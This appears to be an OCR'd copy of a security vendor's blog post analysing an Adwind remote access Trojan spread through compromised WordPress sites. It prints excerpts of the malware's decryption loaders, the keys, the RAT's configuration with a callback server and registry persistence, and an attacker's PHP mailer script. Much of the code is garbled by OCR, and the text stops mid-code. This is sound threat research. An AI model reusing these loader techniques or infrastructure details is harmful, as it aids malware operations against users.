Compromised WordPress Sites Used to Distribute the Adwind RAT

zscaler.com/blogs/research/compromised-wordpress-sites-used-distribute-adwind-rat

With more than 60 million websites, including 33.4 percent of the top 10 million global websites, built on the WordPress platform, it is big
news when a new attack aimed at this popular tool surfaces. And, as you can probably guess, the Zscaler ThreatLabZ team recently noticed
another campaign targeting WordPress sites.

Since the first week of April 2020, we observed several instances of malicious Java archive (JAR) files hosted on compromised WordPress
websites. These JAR files used several layers of encryption to protect its final payload—the Adwind remote access Trojan (RAT).

In this blog, we describe two aspects of this campaign. In the first part, we describe the intelligence information we gathered from this
campaign, which was used for threat attribution. In the second part, we explain in detail all the steps used for decrypting the multiple layers of
encryption that were used to protect the final payload.

Compromised sites used for hosting the payload

We observed a common pattern shared among all the compromised websites in this campaign, which are used to host the malicious JAR
payload. All these websites used the Content Management System (CMS) from WordPress. Attackers often exploit vulnerabilities in
WordPress plugins to get access to the admin panel of the CMS. Once the access is obtained, they can host their payload on the server.

The WordPress version can be confirmed by checking the meta HTML tag in the source code with the “name” attribute field set to “generator”
as shown below for one of the compromised sites observed in this campaign.

<link rel='https://api.w.org/' href='https://cornerstoneed.com/wp-json/' />

<link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://cornerstoneed.com/xmlrpc.php?rsd” />

<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="https://cornerstoneed.com/wp-includes/wlwmanifest.xml" />
<meta name="generator" content="WordPress 5.3.2" />

Figure 1: WordPress version in the HTML source code.

Most of the compromised websites in this campaign were running a fairly recent version of WordPress—5.3.x. Only a few sites were running
outdated versions, such as 4.5.x or 3.3.x.

The file names for the payload varied between themes ranging from Coronavirus to payment invoices and shipping delivery services, such as
DHL and USPS, as shown below:

Covid-19Update.jar
Reylontransport-covid19-statement20.jar
RescheduleUSPS.jar

DHLPaket.jar

Threat attribution

On some of the compromised WordPress sites used to host the malicious JAR files, we were able to find PHP web shells that attackers used
to control the web server as shown in Figure 2.
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Figure 2: PHP web shell on a compromised WordPress site.

There are some other web shells present in the same directory. After inspecting the different web shells, we located a PHP mailer script that
would send a test email to attacker-specified email addresses, as shown in Figure 3.

nland/publi

[ Sec. Info ] [ Files ] [Php] [ String tools ] [ Bruteforce ] [ Network ]

|Conso|e

err to stdout (2>81)
5 cat kk.php
<7php
eche "zbei";

81link = (iamatif SFRVER['HTTRR'1Y 4L & SEAVERI'HTTPS'] === 'nn' ? "https™ : "http") . "i//§_SERVER[HTTP_HOST]$_SERVER[REQUEST URI]";
Sto ‘sabersebrvi9ffreemail .hu.sabersebrvi%fcitromail.hu':

Ssubject ‘Test” ;

$headers = 'From: rootflocalhost’ . "\r\n";

mail($to, $subject, 5link, Sheaders);:

>

Figure 3: PHP mailing script found on the compromised server.
Email addresses:
[email protected]

[email protected]

Technical analysis of the encrypted JAR

There were multiple layers of encryption used in the JAR files in this campaign, which made it clear that some form of crypting service was
used by the threat actor to protect the final JAR payload. After decrypting several layers, we found a reference to “Qarallax”, which leads us to
believe that the cryptor used can be attributed to the Qarallax crypt service.

In this section of the blog, we will go in to the details of the different layers of encryption and how we unpacked them one by one to reveal the
final payload.

For the purpose of analysis, we have chosen the JAR file with MD5 hash: 0a5f34440389ca860235434eea963465

Filename of the JAR file: Covid-19Update.jar

Decryption: Stage 1

This JAR file contains two encrypted resources:
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Resource 1: /cloud/file.update
Resource: 2: AaxIv/\WEPcXKp/UBLah/kCQudbdn

These resources will be loaded and decrypted at runtime. To understand the decryption process, let us look at the source code of rr.class

present inside this JAR file. This class file is responsible for loading the above resources and calling the decryption routines. The code section

is shown in Figure 4 with relevant comments added to the code.
Jpublic final class rr {

] public rr() throws IOException {
Object 4i;
£ i2;
g i3;
void 1i4;
rr i5:
new £():
new £():
// Load the resource: "/cloud/file.update"
byvte[] i6 = d.jr({iS5.getClass() .getResourceAsStream(gf.jr));
// AES FKey to decrypt "file.update™ resource is: PsjduiwoBwosldSO
byte[] i7 = hr.jr(new String(), i6, gf.hr.getBytes()):
new £();
yr yr2 = new yr():
i4.jr(new ££(i7)):
new £():
// access the key called SERVER from decrypted resource
// SERVER points to second encrypted resource = AaxIv/WEPcXKp/UBLah/kCQuJdbJn
byte[] i8 = d.jr(i5.getClass().getResourceAsStream(i4.jr(gf.j))):
new £():
// acceas the AES key called PASSWORD from the first decrypted resource
byte[] i9 = hr.jr(new String(), i8, i4.jr(gf.r).getBytes()):

new £():

byte[] i10 = d.jr(i9);

new £():

r ill = new r(new ££(il0)):
new £():

String i12 = y.jr(ill);
tr il3 = new tr(il2):

Figure 4: Code for decrypting the resources in stage 1.

It is also important to note that the strings referenced in the above code are defined inside the gf.class file. All these strings are encrypted as
shown in Figure 5.
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static {
ir = vr.jr("\ud0000MEE~J\u0007INBA\ul001V"DNK\ud00b") ;
hr = vr.ir("~\\GJ_F"A\u001eXJ]NK\u0018'") ;
v = vr.jr{"CND\uOO0OO0"™) ;
3 ve. (" | Ek~yn<™) ;
r O b o i T g S bl B
S5tring[] arrstring = new String[l€6]:
arrstring[0] = vr.jr("gtvbcte *");

arrstring[l] = vr.jr("NMMY\b") ;

arrstring([2]
arrstring[3Z]
arrsctring[4]
arrstring([s]
arrstring[f©]
arrstring[7]
arrstring[2]
arrstring[?2] = vr.jr{":z~o“z]")'

arrstring[l0] = vr.jr("[D \YL]@Z] [IT\u0017");
arrstring[ll] vr.jr({"CC W!””“:J“\b"}:
arrscring[12] vr.jr("XZOX]B\\XAYPLIXC[\C"™) ;
arrstring[13] vr.jr("]1\\O]\u000b") ;
vr.3jr{"OK~JE\\M\u000£f"}) ;

arrstring[l15] = vr.jr("OK~JK\\M\u001d");

vr.jr({"cbegggbgnpmc*"™) ;

wve.je{®iizky)"):

ve.jr{"}ii\\J\n");

ve.jr("__ NQNKYKtjuM]LDJAJ QY¥J\u000&") ;
vr.jr (" 1KY\ \o}nHUKCYGIV\u000b") ;

vr.jr("h~)"):

Il

arrstring[l4]

j = arrstring;
gr = vr.jr{("\u000&6{no~1(");

Figure 5: Encrypted strings in stage 1.

The string decryption routine is shown in Figure 6.

vr.ir{("Jj\u001d0]m" 0019Q" " |e\ul07 £\ u0010MKw{

_I"'}

’
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public static String jr(String i) {

int i2;

int len = input string.length - 1;

char[] decrypted = new char[input string.length()]::

int i7 = 110;

int counter = len:;

while (counter >= 0) {

char i8 (char) (input_string.chardt (i2) Loas B -

{char) ({(char) (i2 * i7) & Ox3F);

char i9
decrypted[iZ2--] = i8;
if (i2 < 0) break:

i8 = (char) (input_string.charAt(i2) * i9);
i7 = ({(char) ({char) (i2 * i9) & 0Ox3F);

decrypted[iZ2--] = i8;

counter = i2;

5tring result = new String(decrypted);
return result:

Figure 6: String decryption routine in stage 1.

This string decryption routine was reused in the later stages as well. So we rewrote it in Python to make the decryption process of further

layers easier. The code for string decryption is mentioned in the Appendix | section of this blog.

The different steps involved in decryption in above code are:

1. The resource, “/cloud/file.update” is read using getClass.getResourceAsStream() into a byte array.

2. This resource is decrypted using the AES key: “Psjduiwo8wosld90” using the AES block cipher mode: AES/ECB/PKCS5PADDING.

3. The result of the above decryption is an XML file, which is shown in Figure 7.

<entry
<entry
<entry

key="nf0mi " >vkXN{OruPaBYPn0jglQapINlj Y0i fqWdSPVPGz ¥nmaNimduSxWBgEMwicpbdrUTopgi SPWeTHQE iLj rRbanVnigaLZMgWBXFPEF</entry>
key="swkCB">TyoxKPHXYWaGlpWOh] OQEBD suWIWXGyDEvNZNXpdKASHEAWIT fUMR] yEVIDVoBQgSWOMEGXVDSKEMML yxAqLyXiCIVxgloSBrrAnb</entry>
key-"EErez')QIaGPDQH‘IgPhqh)blegEthEHsTuchvaCt.EHj MHVXFcoTLrboSommVout jVAVRNNEXT PyWGS fUY¥ahsp IEaWBUcTTt TrBJmCZghhe/entry>
EvHEIMvMUBHCGRo1VRUauTCIQuiCAE IgLlgpWntvnSkE I YepzmhZOEOxLIabAx</ entxy>

e Points to second encrypted resource

<entry
<entry
<entry
<entry
<entry
<entry
<entry
<entry
<entry
<entry
<entry
<entry
<entry
<entry
<entry
<entry
<entry
<entry
<entry
<entry
<entry
<entry
<entry
<entry
<entry

key="WnbUa">XqRLUwnsqMQUernk¥IjHiBuE. aSuybLHrjUWaqiuTRucsﬁe vxDGYvAqefhrBEiMVolotTeVheRgZCAoOTIUeUGYR1ILjOPhTPZrfa</entry>
key="ImczV" >nwIMsvAKXXKi bkaWqpORQUNIGZq L tgXPEWVMME SkLOXyNfQXqWr TpGOWZ vOnpV) ZGNaKg bt faZpKme YYAR I SUMpHY fRPBVWHOK< /entry>
key="DVwre">5oWHTANZnBIFRLavATSUM] PWAQXcbTAF jnbakaILOiHFvPEQGRWEBvS tMbIncpcataxT reMFiEVe YnMIAmkVWpESSXVIELEvCxdog</entry>
key="VWuKb" >QbRIJqbAgY cxqWEemnhqpaNStcdlmymfNAdNpybEZLpI TACACZSEXMDXJSpY cWCY GV ZqBOnXgmMIXHKJuUPKARELYVIRUMYUGLO</entry>
key="zwHcm" >TglvIJJBEMNSsWGxFSnteBPgRytaKeCOgGIvAsSkdT zJTpSDhrpwiTzcKXzgge PZEetGXwylxvdguxiuu I yuwNVNHI TRpnvUFevXLh</entry>
key="gsbnQ">11KugHLmeCsGMWVZUDhfoALXombgZJ1RMDJ1vZ 1IRAYUVCaDOe fTWBYeKCINMh1glve Pt IQGKHIADDBRKINOTETNCVADLANPIBARD</entry>
key="EwYmH" >gmDVGEBOUr JnOiEyuRQ1gBSdAFXcXEWrHkPUzEWGeXmdE rgEVmZ dpZCGsVgFbTHWDehDEFPJgSrX 1 oEnfERk] yDgLSNoz kONKYiE</entry>
key="PADk1">kFSQK1MGQGLIWENp IngaxJROaUFT ZDXpODFFBpr IWwyXG1 zTQXhNOmNJIE z fdeoVe rKANmMI ASWoMEW LmwSRYHbCWShvCaCXnkOexmz</entry>
key="hijTy">NzYfqwlboVLujz0cHzUjufb¥wZ jowhXSEKIbCHyDAT PXISYF fxsJoRDEpkNyzH=aDIEmJEJFgecQaPyt ZTBPgnnLka0BQngl tgG0< /fent ry>
key="raZpQ">cnEoyvmleCaRwcrmwlzvZewnPOwzhzLsiHqRzgeJeoss]FexgrfRGHF rwoKEYFRpLyRHzk1hhiMNaePzgPeZpOLFXLIqqQuABznyH</entry>
key="rxTBh">JORzmIxRIhepGDWaswSami FnRaFaSPdolali EVEhXoBBtmcVIm] kZvEiwKQmDDGHQHEghi 1091 EOLbEWNDg foGlWXWE st DexXnQp</ent ry>
key="QxpyU" >(mFsBvwrMGFXUnvDewSVDDLiiGZRMnBY] 1PQMZ cfdot TWRFRUCOTaHUTXxNkXwdcvu YAMIwRVYXdwgLVZ gOTkIwIWALVGoJZqQRe</entry>
key="VgnSH">Rz(saT0algiaTcYGPGLRzdy JRZALS anWbERCINCOVAFSEXHer TFaFAvaqBaiEnZ0Ti PFRexfLY1dVGKMVk Ui TroCuJIR: zdabRa</entry>
key="DjHCL">JWwgiDixpMMvyNiVNTDnuNBoZ rDgzoX] kvDStruCxMgbi gsgXhUBhDuBQyvdihxRLykHrz DDENy L TXUULoXyUaurJGFxPZygwHtCus/entry>
ke y="nMkRO">CPpnS1tGVqmDGT i vkIPdsEr SCAdnNacFysGXgIUTwBxyuOIM1bIIIdTrnORYEEDMe FDRQdz yTaUbLngDsdkrwEMRrZ faBdnSqasN</entry>
key="zrAcG">LNxAuyfuBHBAVsQXpLomSCWHF xidmoiylbkPgbanLEOQNVoZGiFbwl LSbATQirUof tOHEKkU X cxkJ£ZfWrkabgafBZkVHPVgdwht</entry>
key="LTVdp">3qCIozJEuuvPyQxOFhHAMPz § TmwVwVkYyKSD] yUCqqCrbEs IvCENezt t IPnmpaBKZ zwRDpCGY AUHOT t Y sAPzeBugOqeUggHOJqzU</entry>
key="yltgm">pQzyLaByurU¥ujgZ SwYYHFlYzdkMxnqPSHFheUaBakOvrliBUIMCI gUKdRWagdMwmUANCdBbeQzNgV1hMIyuaWe ICS1FC1dVBHSus//entry>
key="pdvco">nTevuAypHUyY yxvCnvCesGRRzKTu YRy PVY uwvK 1 MBAuVRNWkOodn IXJRmr DuJowPOzyt s rXaDre fGWREQOKUMidpyZGHnIskaSz</entry>
key="ispma">GidZYI Otmel qaNwHEMLIHfnKBpuNrbGM bz ZHoxuisWE] JSFAxgRaJrwe JEfqnul Sgivl kiMMma YTHFLAL i QEYKt icKEEO< /entry>
key="hFPnE">xASYbWzviaLGKkChkARpEwrKxi TYREVYEXJHYmE YpdecHXNohe ywxXwZ IpFSNotGxnlIwlUacJCuliDnoMY ZXDXqeHOLWFGhtbLQli g</entry>
key="gciMF">nzFkNDduchr ISPacYqkpLURERt FIgyAUNjdRoumZahCV1 fUjhReXsuCXleQooRzzyFDoGFXDZgAIxYEinbaui JIxipRfeurdviDac/entry>
key="10Gqd">¥QctAOF1iroVENLgHFgefCkJIBNLinIyNulcniAclRyOqgePhTYgfuvSAUGKoeTafi 1DhLEUOPLInmDT I HkENIQLEBZ yEmNDbHaZg</entry>
key="00iPg">caiGRftYBnNr IZbIdCxckHnLr FTBvYGCaBFXBVIOI My 1XGnhFRVEYyTqRFbteuj kFnexaz21X1 Z1NpotwoNYGUkPeBchobCOTE fuVe /entry>
key="RARZU">1cLvFifJWKZIuUXAlFZXKOSE0oltGDYalzVRohCECTAGDVRLItHCKPFEanFeROaVLTvh1GWZ XNa1QhbG1XyWxpUVCauwlkpbx] zLznK</entry>

(centry

key="PASSHORD" >xs 1K JnTwEGH</entry> ) ———————p AES Key for decrypting second encrypted resource

<entry
<entry
<entry

key="LgmxR">qwoZ]tICxfFeBVUavvgIYYvbPIWbnDHokE SGWmI RXPENYhCTIfj zutgsIUppAwaxZzQlbkor AREpLTUNIRhIPCACT kfEZHHAZREL< /entry>
key="FZcMb">vIICROasBAAKHI2zyTcqDageYcYOqleaX1 BKuPfgRUYVUGBN s EmeSgNyqcVEYORdmcKikggpH1R2ndS EwE 3 Xv] ShFnRaRUQHDYATEmMS / ent ry>
key="pQCyT">BegvuvtTZiZklfCLZDaXrgAsPrRPQLIbIwpMvCeRTowHLPkdQUFevAHknVnl vbvyiOPbpgBWCZ fT IKEgqfMumopPOfdd SMoRvgPDG< /entry>
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Figure 7: XML file obtained after decryption. It contains the AES key to decrypt the second resource.

4. This resource is loaded using the loadFromXML() method which allows individual properties from the XML to be accessed to continue the
decryption process.

Decryption: Stage 2

The XML file, which was obtained after decrypting stage 1, is used to decrypt the second layer as defined below.

1. The SERVER entry in this XML file corresponds to the second encrypted resource called: /Aaxlv/WEPcXKp/UBLah/kCQuJdbJn.Tje in the
JAR file. The PASSWORD entry in the above XML file corresponds to the AES key, which will be used to decrypt this second resource.

2. The AES key used for decrypting the second resource is: xsINGppgnJmTwGGH.

3. Second resource is decrypted to a Gzip file, which gets decompressed to another JAR file.

Decryption: Stage 3

In this stage, we will look at the decrypted JAR file obtained from stage 2. The class files and resource file structure for this JAR is as shown
in Figure 8.

(. stage2_decrypted_resource.jar i3 {

o EB PELR T ) MANIFEST.MF 532
R oS |
B- EB j2t.ple 1 Manifest-Version: 1.8
- I.class 2 Ant-Version: Apache Ant 1.8.8
&) . IL.dass 3 Application-Name: Oracle Database
@D Ii.dass 4 Add-Opens: java.prefs/java.util.prefs
Elf.j, Ij.class % X—COI:\MEI:IT: Hain—CIass.wiI:I be added automatically by build
Hiil @- 1l.dass 6 Permj:551ons: all-permissions
EF@, L.dass 7 Multi-Release: true
EF@ Lj.class f Class-Path: )
® D.i.dass _4 Cr?at:d-sy: 1.8.8_25-b18 (Oracle Corporation)
= 10 Main-Class: j2t.ple.IL
G T iL.dass 11
& forp L. class 12
 [-{ub il.dass
L -fup jidass
¢ @ Jl.dass
=] B this
Lo ] fileugrt

Figure 8: JAR file structure of stage 3.
This JAR file has one encrypted resource called “/this/file.grt”.

Execution of this JAR file begins in the method: j2t.ple.IL as shown in Figure 9.

public class IL |
public ILO) {
IL i:
if (new Date() .after(new Date(.
........................... Powered k
throw new Throwable (Ij.I1(" 9=8>51829

1

public static wvoid main{String[] arrscring) {
if (new Date () .after(new Date( 20L1D) o

T T P T T ToT=T= ety Powered by 1

throw new Throwable(I3.I1("S2:3=E>5182%

1
{// Qarawdwwdgqwdgdllax Payload
JLabel 1 = new JLabel[]:1 I1{"HEyhxi|inuield|zuh’ *Ilabv'<"});

Jlabel i4 = new JLabel(I3.I1("Ixiypu

rgeergrge
J'Labcl i5 = new JLabel(Ij.Il{"t btrwitiu="));

]

Figure 9: The main method in stage 3.

The strings in this method were encrypted using the same string encryption method as in stage 1. The only difference was in the initial one
byte XOR key, which was changed to 0x58.

6/15



After decrypting the strings in the main method, we can see a reference to the Qarallax project. Qarallax provides crypting services for

encrypting JAR files on underground hacking forums, leading us to correlate this to Qarallax.

Now let us look at the method, () defined in il_1.class file. This method performs the resource decryption as shown in Figure 10.

private wvoid Il1{) {
try {

void i;
Properties i2:
41 1 43;
// Encryptad resource: "/this/file.grc®
InputStream i4 = i3.getClass() .gectResourceAsStream(Ij.I1("61lrpn7
ByteArrayQutputStream iS5 = new ByteArrayOutputStream():
// DES FKey: RSuET7enEM
il 2.Li(Ij.I1(""8zIz?n

"))

niv), i4, i5);

Properties properties = i2 = new Properties():
Properties properties? = i2;
properties.loadFronXML (new EyteArrayInputStream(i5.cvoBytehArray())):

[/ Access the following properties from the decrypted XML file

r/ SERVER BIN - next encrypted stage

{// FRIVATE PASSWORD - RSA Private Key used to decrypt the AES key

// PASSWORD_CRYPTED - Encrypted AES key whi is used to decrypt SERVER BIN
byte[] server bin = jl.Il(i2.getProperty(" _BIN")):
byte[] private_password = jl.Il(properties.getProperty("FR
byte[] password_crypted = j1.I1({i2.getProperty("FASSWORD CRYPTED"));

PASSWORD™)) ;

ByteArrayInputStream i12 = new ByteArrayInputStream(private password):
// Converts InputStream to ObjectInputStream
RSAPrivateKey 113 = (RSAPrivateKey)mew ii_0(il2) .readObject()

il 0 i1 02 = new il 0();
void v2 = i:

i.Li(password crypted)
v2.Il(server_bin);

ByteArrayInputStream il4 = v2.I1(il3);

i 0i 02 =new i_0(i14);

retarn;

Figure 10: Code for performing decryption of resources in stage 3.

The different steps involved in the decryption are:

1. It loads the encrypted resource: “/this/file.grt” using getClass.getResourceAsStream() into a byte array.
2. It uses the DES key: R5uE7enKM8wK0qOk8s9di to decrypt the above resource.
3. The result of decryption is an XML file as shown in Figure 11.
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<?xm] version="1.0" encoding=PUTF-E" scandalone="no®?s
<!DOCTYPE properties SYSTEM "hicp://java.sun.com/drd/properties.ded™>
<propercies:

<commenc>Secure Code: OXA9SB93ESA</commentc>

<entry key="HmxkctbmBduUko">UIAIDtctVRQZAWEp</entry> Next stage encrypted file
<entry key="TIghbPpRib¥hJgSaCvk">FrlGvTI</entry>

<entry key="XGr3UfgSEvhUXwbHb">0xgNFdsf0xFYbsYnTOI</entry>

<entry key="OpTwnSKJe">tUoTdtdHMQdRuYOhgbaad</entry>

el b i Si</encpv>
entry key > L+VUgzip9ix zTn3nu0lIv] zidcz ma = nJrve at/Ia cR4ryABiepSITpv )
y lkey="SERVER BIN":>SELQIRCAMmOYE/L+VUgzipSir/mlQfzTn3nudlIwbmiFzidczPbEUD-EXdHTq4BouaYyIX: VEn.J: IkhL7aC/IsI¥GKOaALIX- Péd gl X¥OwgoR4 B ZTpvlUF1pBpliNE]

<entry key="ONeFn¥tGjKWRTDERUDI">0UBimadSkLEjb</encry>
<entry key="BoDohxbavGRH">YelMhOSg</encry>
<entry key="oxafk">tuMlrGwqhlpQpLISTegmBEJXQr</entry>

<sncry key="CglLeMusChxR">rPVmdfiMkkphQOBeWihABCE< /antry> L
@en::i k‘ei-'F‘J\SSF‘DRD C'RYPTED"‘)C.‘MZ+MDDQQINTJ‘L::z+1VeLulu:V¢C5Eme:1solwhHHGZQE!N’l‘SLjHDSZTSQHN\CEEE:Z\J385‘{1"-'I.ulﬂeomc!IMDKH:E1Im8e0u5e1'+wtb!aJleﬂEalﬂ’twAUB!nugS‘I

<entry key="eglcHOo">HONZHwaKimmEqT</entry>

<entry key="EsAUZcA">vJINdGQUELjVYRuOuR</entry>

<entry key="XIFKU">hnhViXios</entry>

<entzy key="cOGKIEYM)oPWILPgGbR">umMntRbRASIMIAFCKKRF sCHGUR</entry> Encrypted AES Key to decrypt SERVER_BIN
<entry key="iRsjfFRcR*>MEqadZUNUDLuTHI</ encry>

<entry key="dTCCWnwlCRghZ">)INKZESgiFOLe</entry>

<entry key="MYL geAX">cIfVExRU t</entry>

<entry key="OJMWbDi">wrtElN</entry>

<entry key="EnNIhZgs">nDFECFKA</entry>

<entry key="gehuQOa">cpmIfcIBGEVNNQslielpfl</enty>

<entry key="jwIWqu">WFAtCatAHW</entry>

<entry key="GZUHPCHNEhPvbkxCejwg">BrwVglxaEGbVpYIvuuSvZ¥mYglnaC</entry>

<entry key="vpQoejHNhUUeRiUCm">GqC]EXTRYVIGIWOACQ</entry>

<entry key="mrdJfHt">HgIPHuqtXiLnlwJ]Y¥tuNAJqiFum</entry> RSA Private Key to decrypt AES Key
<entry key="BUoBrJOEQLO; vpHLg" >t E1ThoMMTQn2UhT Yokt q Q</encry>

<entry key="CvNrlUSjHlgp“>eeelUglljkOXca</encry>

<antry key="SLuhefwlL">1sGrOYQIGEmO3cZOxalMevuwTHe /entry>

<entry key="ofLTMiRH">FwIZhPak</encry>

<entry key="3viUk">ZjiFma¥xEhROAPBPUBUCHS/ entoy>

entry key="FRIVATE PBSSWORD"):OOWYRBRQYXZthNlYSVyn‘JIRSLlrtIEVJ].CLGST'TOIMVDRHAETMMKanJDdGhtd.RBSTGphdeVbGF‘uEYBTdHprMTHwT‘HZWSjbIRlZHm_IT.CTM\GZIHSWWFOCQB-*MHMOB
<entry key="wKECeNagTH">gwVinQIKfaIvEiFc</entry>

<entry key="YvFpfDbjXRpP">EIINQF</entry>

<entry key="EsFPDv">dEBSQuwweTH</entry> l

Figure 11: The XML file after decryption in stage 3.

4. The SERVER_BIN file in the above decrypted XML corresponds to the next stage encrypted file. PASSWORD_CRYPTED corresponds to
an encrypted AES key, which will be used to decrypt the SERVER_BIN file. PRIVATE_PASSWORD is the RSA private key, which is used to
decrypt the AES key.

5. Each of the above properties are loaded from the XML using loadFromXML() and getProperty() methods.
6. The RSA private key is stored as a serialized Java object. It is unserialized using the readObject() method.
7. The unserialized RSA key is used to decrypt the AES key defined in the PASSWORD_CRYPTED section of the XML.

8. The decrypted AES key is used to decrypt the SERVER_BIN file, which results in the next stage decrypted file.

Decryption: Stage 4

The decrypted payload obtained from stage 3 is the final JAR payload, which was protected with multiple layers of encryption. The JAR class
file structure for this payload is as shown in Figure 12.

@ stage4_decrypted_resource.jar ] ‘

=8 E]Er - M) MANIFEST.MF 52
'L
& @i 1  Manifest-Version: 1.0
- json 2 Ant-Version: Apache Ant 1.10.4
&8 module 3 Add-Opens: java.prefs/java.util.prefs
-8 os 4 Created-By: 13.8.1+9 (Oracle Corporation)
=83 server 5 Main-Class: server.main.Start
o

m
HEEEEOH DD
2

2]
&
G
®
&
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Figure 12: The JAR file structure in stage 4.

This file contains multiple encrypted resources.

Key1.json — RSA private key stored as a serialized Java object.
Key2.json — Encrypted AES key.

Config.json — Encrypted config file of the Java RAT.

Let us look at the main method—server.main.Start()—of this JAR file. We can see the use of encrypted strings in this JAR file as shown in
Figure 13.

ate woid i0010() throws Exception {

ObjectInputStream a4 = new ObjectInputStream(a3.getClass () .getResourceAsStream(RC4.11(
_ThTAu00054%u0011\u001a\u0002\u0014\ud007\w0005 \u0011R4A_\u0O15\BOTEH") ) ) ;
RSAPrivateKey rSAPrivateKey = (RSAPrivateKey)ad.readObject():

Start start = a3;

ad.close();

byre[] a5 = FileUtils.inputStreamtoByreArray(start.getllass().getResourceAsScream( . {

"y 30RAIUNGOO1e\u0011) 1DJ [YUA\DI\u00130\u \u 4W5\u000e\ud00£\n\ulo13")), true);

byte[] a6 = FileUtils.inputStreamtoByteArray(scart.getClass().getResourceAsScream(RC4.11i(

*I\u & F r\t\u £yn\u 5J1"6\u I, 4\u 2 2\u B COTKH") ), true);
Decoder decoder = new Decoder():

void vl = a2;

vl.zsetKeys ( (RSAPrivateKey)a, as):

byte[] a7 = vl.decode (a6):

InpucStreamReader a8 = new InputStreamReader((InputStream)new ByteArrayInputSctream(a’), -11 (" (D:HE"}}) :
J50NTokener a% = new JS5O0NTokener (a8):

ServerSettings.getInstance () .loadConfiguration{a9, C iif).ii()):

Figure 13: The encrypted strings in stage 4.
Figure 14 shows the string decryption routine.

public static String ii(Object a) {
int n:
StackTraceElement stackTraceElement = new LinkageError().getStackTrace()[l]:
String string = new StringBuffer(stackTraceElement.getClassName()).append{stackIraceElement.getMethodName ()) .toString():
a = (String)a:
int n2 = ((String)a).length()
int n3 = n2 - 1;

char([] arrc = new char[n2];
int nd4d = << A 5;
int cfr_ignored 0 = 5 €€ 3 A (3 * 5);

ns = ¢ << B I SR
int né = n = string.length() -
String string? = string;
while (n3 >= 0) {
int n7 = n3-=-;
arrc[n7] = (char)(n5 * (((String)a).charAt(n7) * string2.charAt(n))):
if (n3 < 0) break;
int n8 = n3--;
char ¢ = arrc[n8] = (char)(n2 * (((String)a).charAt(n8) ~ string2.charBAt{(n)}):
if (--n < 0) {
n = né;
]

int n9 = n3;

}

return new String(arrc):
t

Figure 14: The string decryption routine in stage 4.

This string decryption routine is different from the previous stages we analyzed. It is a variant of XOR decryption, which derives the decryption
key in an interesting way.

The first two lines of the decryption routine are:
StackTraceElement stackTraceElement = new LinkageError().getStackTrace()[1];
String string = new StringBuffer(stackTraceElement.getClassName()).append(stackTraceElement.getMethodName()).toString();

These lines are used to fetch the class name and the method name from which the string decryption routine was called. To find the calling
class name and method name, it generates an exception using LinkageError() and then fetches the first stack frame using getStackTrace()[1].
From this stack frame, the calling class name and method name are derived.
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As an example, when the string decryption routine is called by the method "ii" in the class "Start", then the XOR decryption key will be:

"Startii".

Upon further analysis, we discovered that this string decryption routine is the same as the one provided by the Java obfuscator called Allatori.

Usually class files obfuscated with Allatori obfuscator use the method name: ALLATORIXDEMOxhthr().

However, in this case, the method name was also obfuscated to remove any reference to Allatori.

We rewrote the string decryption routine in Python to decrypt all the strings in this JAR file. The Python script is provided in the Appendix I

section of this blog.
After decrypting the strings, the resulting code is shown in Figure 15.

i i0010() throws Exception {

Start a3;

ObjectInputStream a4 = new ObjectInputStream(a3.getClass().getResourcehsStream(”/server/resources/Eeyl.json")):
RSAPrivateFey rSAPrivateKey = (RSAPrivateFey)a4d.readObject():

Start start = a3;

a4.close():

byte[] a5 = FileUtils.inputStreamtoByteArray(start.getClass().getResocurceAsStream("/server/resources/Hey2.json™)

byte[] a6 = FileUtils.inputStreamtoByteArray(start.getClass() .getResourcefsStream("/=zerver/resources/config.j=son”

Decoder decoder = new Decoder();

void vl = a2;

vl.setKeys((RSAPrivateKey)a, a5):

byre[] a7 = vl.decode (a€);

InputStreamReader a8 = new InputStreamReader ((InputStream)new ByteArrayInputStream(a7), "I
J5CNTokener a9 = new J5ONTokener (ag) :

ServerSettings.gecInscance () .loadConfiguration(ag9, {).11()):

TTF-8") ;

Figure 15: The code after decrypting the strings.

Decryption of the config file

As a first step, we will decrypt the resources to get access to the config file. The steps involved in decryption are:

. Unserializes the Java object using readObject() to get access to the RSA private key.

. Loads the encrypted AES key from the resource called: "/server/resources/Key2.json".

. Loads the encrypted config file from the resource called: “/server/resources/config.json".
. Decrypts the AES key using the RSA private key.

. Decrypts the encrypted resource using the decrypted AES key.

oo R WN -~

The resulting decrypted config file is as shown below.

{"securityRetry":20,"vbox":true,"security":[],"nickName":"quarantoes","installation":

. Loads the serialized object from the resource: “/server/resources/Key1.json” using getClass.getResourceAsStream().

{"jarName":"aDaGm","moduleFolder":"p\Wnmd","moduleEntry":"tUjeninoY OKbbABJEQOfwMmkkAV/iPYMIXQvBnHKdoBEfaulmhiFQGfShHjNdiXU

[{"delay":2,"port":9932,"dns":"212.114.52.236"}]}
We provide a description of the key fields present in the above configuration file.
Vbox: Indicates whether the presence of VirtualBox should be checked or not.

nickName: This is a unique identifier used while building the RAT. In our case, it is “quarantoes”.

Installation: A JSON that contains key-value pairs describing the location where the JAR file needs to be copied to on the file system.

jreFolder: Indicates the folder where all the files required for running the JAR are stored.
jarRegistry: The name of the Windows registry key used for persistence.

delay: Indicates the number of seconds to delay the execution.

Vmware: Indicates whether the presence of VMWare should be checked or not.

Port: The port number on which the RAT communicates with the server.

DNS: IP address of the callback server.
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Activities performed by the RAT

Below are the main activities performed by the RAT.
1. It checks the OS name and if it is not Windows, then the RAT does not execute.

2. It copies itself to the path: C:\Users\user\pMbbW\aDaGm.class. The directory name in this path is selected from the “mainFolder”
parameter of the config file and the filename is selected using the “jarName” parameter in the config file. The file extension for the JAR
file is selected as “.class” based on the configured value for parameter: “jarExtension” in the config file.

3. It sets the Windows registry key for persistence to ensure that the above JAR file is executed automatically using javaw.exe upon
reboot.

Key path: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run

Key name: UKikhtn

Key value: "C:\Users\user\Oracle\bin\javaw.exe" -jar "C:\Users\user\pMbbW\aDaGm.class"
The key name is fetched from the config file as well.

1. It loads the DLL from the resource section: “/server/resources” based on the system architecture. For 32-bit system, it loads x86.dIl and
for 64-bit system, it loads amd64.dll.

This DLL will be loaded and copied to a temporary location on the file system with the file extension, “.xml”. The DLL is then loaded using the
System.load() command as shown in Figure 16.

private void init() {
WinLoaderDLL a;

Input3tream &3 = a.getClass().getResourceAsStream(new StringBuilder().inserc(l, "/serve esources/") .append (a2) .append (".d11") .teString())
if (a3 = null) return:
FileQutpucS5tream a4 = noll:

ad.close():

a3i.close() :

/f Load the DLL
